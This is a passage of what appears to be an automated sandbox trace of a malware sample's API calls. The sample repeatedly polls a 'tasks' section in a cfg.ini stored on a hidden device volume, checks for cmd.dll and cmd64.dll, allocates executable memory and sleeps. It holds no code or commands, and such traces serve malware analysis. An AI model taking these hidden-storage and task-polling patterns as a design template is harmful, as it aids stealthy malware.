FastMutex=0xfffffa80027d3898) [0125.310] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.311] KeLeaveCriticalRegion () [0125.311] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.311] KeEnterCriticalRegion () [0125.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.311] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.311] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7e70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.311] KeLeaveCriticalRegion () [0125.311] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.311] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.311] KeEnterCriticalRegion () [0125.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.311] ExFreePoolWithTag (P=0xfffffa8003bf7db0, Tag=0x0) [0125.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.311] KeLeaveCriticalRegion () [0125.311] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.311] ReleaseMutex (hMutex=0xf0) returned 1 [0125.311] Sleep (dwMilliseconds=0x927c0) [0125.330] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.330] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.330] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.330] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.330] KeEnterCriticalRegion () [0125.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.330] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.330] IdePortDispatch () returned 0x103 [0125.330] KeWaitForMutexObject () returned 0x0 [0125.330] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.330] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.330] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.330] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.331] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.331] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6240 [0125.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.331] KeLeaveCriticalRegion () [0125.331] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.331] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.331] KeEnterCriticalRegion () [0125.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.331] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.331] KeLeaveCriticalRegion () [0125.331] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.331] KeEnterCriticalRegion () [0125.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.331] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.331] IdePortDispatch () returned 0x103 [0125.331] KeWaitForMutexObject () returned 0x0 [0125.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.331] KeLeaveCriticalRegion () [0125.331] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.331] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.331] KeEnterCriticalRegion () [0125.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.331] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c13000 [0125.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.331] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.331] IdePortDispatch () returned 0x103 [0125.331] KeWaitForMutexObject () returned 0x0 [0125.332] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.332] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.332] IdePortDispatch () returned 0x103 [0125.332] KeWaitForMutexObject () returned 0x0 [0125.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.332] KeLeaveCriticalRegion () [0125.332] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.332] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.332] KeEnterCriticalRegion () [0125.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.332] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.332] KeLeaveCriticalRegion () [0125.333] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.333] KeEnterCriticalRegion () [0125.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.333] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.333] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7b20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.333] KeLeaveCriticalRegion () [0125.333] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.333] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.333] KeEnterCriticalRegion () [0125.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.333] ExFreePoolWithTag (P=0xfffffa8003bf6240, Tag=0x0) [0125.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.333] KeLeaveCriticalRegion () [0125.333] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.333] ReleaseMutex (hMutex=0xf0) returned 1 [0125.333] Sleep (dwMilliseconds=0x927c0) [0125.349] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.349] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.349] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.349] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.349] KeEnterCriticalRegion () [0125.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.350] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.350] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.350] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.350] IdePortDispatch () returned 0x103 [0125.350] KeWaitForMutexObject () returned 0x0 [0125.350] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.350] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.350] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.350] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.350] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.350] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7db0 [0125.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.350] KeLeaveCriticalRegion () [0125.350] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.350] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.350] KeEnterCriticalRegion () [0125.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.350] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.350] KeLeaveCriticalRegion () [0125.350] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.350] KeEnterCriticalRegion () [0125.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.350] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.350] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.350] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.350] IdePortDispatch () returned 0x103 [0125.351] KeWaitForMutexObject () returned 0x0 [0125.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.351] KeLeaveCriticalRegion () [0125.351] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.351] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.351] KeEnterCriticalRegion () [0125.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.351] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c38000 [0125.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.351] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.351] IdePortDispatch () returned 0x103 [0125.351] KeWaitForMutexObject () returned 0x0 [0125.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.351] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.351] IdePortDispatch () returned 0x103 [0125.351] KeWaitForMutexObject () returned 0x0 [0125.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.351] KeLeaveCriticalRegion () [0125.351] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.352] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.352] KeEnterCriticalRegion () [0125.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.352] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.352] KeLeaveCriticalRegion () [0125.352] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.352] KeEnterCriticalRegion () [0125.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.352] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.352] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7e70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.352] KeLeaveCriticalRegion () [0125.352] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.352] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.352] KeEnterCriticalRegion () [0125.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.352] ExFreePoolWithTag (P=0xfffffa8003bf7db0, Tag=0x0) [0125.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.352] KeLeaveCriticalRegion () [0125.352] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.352] ReleaseMutex (hMutex=0xf0) returned 1 [0125.352] Sleep (dwMilliseconds=0x927c0) [0125.366] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.366] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.366] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.366] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.366] KeEnterCriticalRegion () [0125.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.366] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.366] IdePortDispatch () returned 0x103 [0125.366] KeWaitForMutexObject () returned 0x0 [0125.366] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.366] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.366] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.366] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.366] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.366] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6f10 [0125.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.366] KeLeaveCriticalRegion () [0125.366] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.366] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.366] KeEnterCriticalRegion () [0125.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.367] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.367] KeLeaveCriticalRegion () [0125.367] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.367] KeEnterCriticalRegion () [0125.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.367] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.367] IdePortDispatch () returned 0x103 [0125.367] KeWaitForMutexObject () returned 0x0 [0125.367] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.367] KeLeaveCriticalRegion () [0125.367] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.367] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.367] KeEnterCriticalRegion () [0125.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.367] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3d000 [0125.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.367] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.367] IdePortDispatch () returned 0x103 [0125.367] KeWaitForMutexObject () returned 0x0 [0125.367] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.368] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.368] IdePortDispatch () returned 0x103 [0125.368] KeWaitForMutexObject () returned 0x0 [0125.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.368] KeLeaveCriticalRegion () [0125.368] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.368] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.368] KeEnterCriticalRegion () [0125.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.368] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.368] KeLeaveCriticalRegion () [0125.368] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.368] KeEnterCriticalRegion () [0125.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.368] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.368] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.368] KeLeaveCriticalRegion () [0125.368] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.369] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.369] KeEnterCriticalRegion () [0125.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.369] ExFreePoolWithTag (P=0xfffffa8003bf6f10, Tag=0x0) [0125.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.369] KeLeaveCriticalRegion () [0125.369] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.369] ReleaseMutex (hMutex=0xf0) returned 1 [0125.369] Sleep (dwMilliseconds=0x927c0) [0125.383] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.383] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.383] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.383] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.383] 